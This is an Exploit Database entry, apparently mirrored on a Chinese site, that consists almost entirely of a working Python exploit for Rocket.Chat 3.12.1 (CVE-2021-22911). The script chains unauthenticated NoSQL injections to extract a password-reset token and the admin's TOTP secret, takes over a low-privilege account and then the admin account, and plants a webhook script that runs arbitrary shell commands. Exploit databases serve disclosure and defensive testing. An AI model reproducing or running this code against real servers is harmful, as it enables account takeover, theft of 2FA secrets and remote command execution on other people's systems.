Rocket.Chat 3.12.1 – NoSQL Injection (Unauthenticated)

Exploit Database
111 阅读

作者： enox

日期： 2021-06-07
类别：
- webapps
平台：
- linux
来源：https://www.exploit-db.com/exploits/49960/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

# Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated)

# Author: enox

# Date: 06-06-2021

# Product: Rocket.Chat

# Vendor: https://rocket.chat/

# Vulnerable Version(s): Rocket.Chat 3.12.1

# CVE: CVE-2021-22911

# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat

#!/usr/bin/python

import requests

import string

import time

import hashlib

import json

import oathtool

import argparse

parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')

parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)

parser.add_argument('-a', help='Administrator email', required=True)

parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)

args = parser.parse_args()

adminmail = args.a

lowprivmail = args.u

target = args.t

def forgotpassword(email,url):

payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+email+'\\"]}"}'

headers={'content-type': 'application/json'}

r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)

print("[+] Password Reset Email Sent")

def resettoken(url):

u = url+"/api/v1/method.callAnon/getPasswordPolicy"

headers={'content-type': 'application/json'}

token = ""

num = list(range(0,10))

string_ints = [str(int) for int in num]

characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints

while len(token)!= 43:

for c in characters:

payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}' % (token + c)

r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)

time.sleep(0.5)

if 'Meteor.Error' not in r.text:

token += c

print(f"Got: {token}")

print(f"[+] Got token : {token}")

return token

def changingpassword(url,token):

payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\"]}"}'

headers={'content-type': 'application/json'}

r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)

if "error" in r.text:

exit("[-] Wrong token")

print("[+] Password was changed !")

def twofactor(url,email):

# Authenticating

sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()

payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'

headers={'content-type': 'application/json'}

r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)

if "error" in r.text:

exit("[-] Couldn't authenticate")

data = json.loads(r.text)

data =(data['message'])

userid = data[32:49]

token = data[60:103]

print(f"[+] Succesfully authenticated as {email}")

# Getting 2fa code

cookies = {'rc_uid': userid,'rc_token': token}

headers={'X-User-Id': userid,'X-Auth-Token': token}

payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'

r = requests.get(url+payload,cookies=cookies,headers=headers)

code = r.text[46:98]

print(f"Got the code for 2fa: {code}")

return code

def changingadminpassword(url,token,code):

payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'

headers={'content-type': 'application/json'}

r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)

if "403" in r.text:

exit("[-] Wrong token")

print("[+] Admin password changed !")

def rce(url,code,cmd):

# Authenticating

sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()

headers={'content-type': 'application/json'}

payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"totp\\":{\\"login\\":{\\"user\\":{\\"username\\":\\"admin\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}},\\"code\\":\\"'+code+'\\"}}]}"}'

r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)

if "error" in r.text:

exit("[-] Couldn't authenticate")

data = json.loads(r.text)

data =(data['message'])

userid = data[32:49]

token = data[60:103]

print("[+] Succesfully authenticated as administrator")

# Creating Integration

payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'

cookies = {'rc_uid': userid,'rc_token': token}

headers = {'X-User-Id': userid,'X-Auth-Token': token}

r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)

data = r.text

data = data.split(',')

token = data[12]

token = token[9:57]

_id = data[18]

_id = _id[7:24]

# Triggering RCE

u = url + '/hooks/' + _id + '/' +token

r = requests.get(u)

print(r.text)

############################################################

# Getting Low Priv user

print(f"[+] Resetting {lowprivmail} password")

## Sending Reset Mail

forgotpassword(lowprivmail,target)

## Getting reset token

token = resettoken(target)

## Changing Password

changingpassword(target,token)

# Privilege Escalation to admin

## Getting secret for 2fa

secret = twofactor(target,lowprivmail)

## Sending Reset mail

print(f"[+] Resetting {adminmail} password")

forgotpassword(adminmail,target)

## Getting reset token

token = resettoken(target)

## Resetting Password

code = oathtool.generate_otp(secret)

changingadminpassword(target,token,code)

## Authenticting and triggering rce

while True:

cmd = input("CMD:> ")

code = oathtool.generate_otp(secret)

rce(target,code,cmd)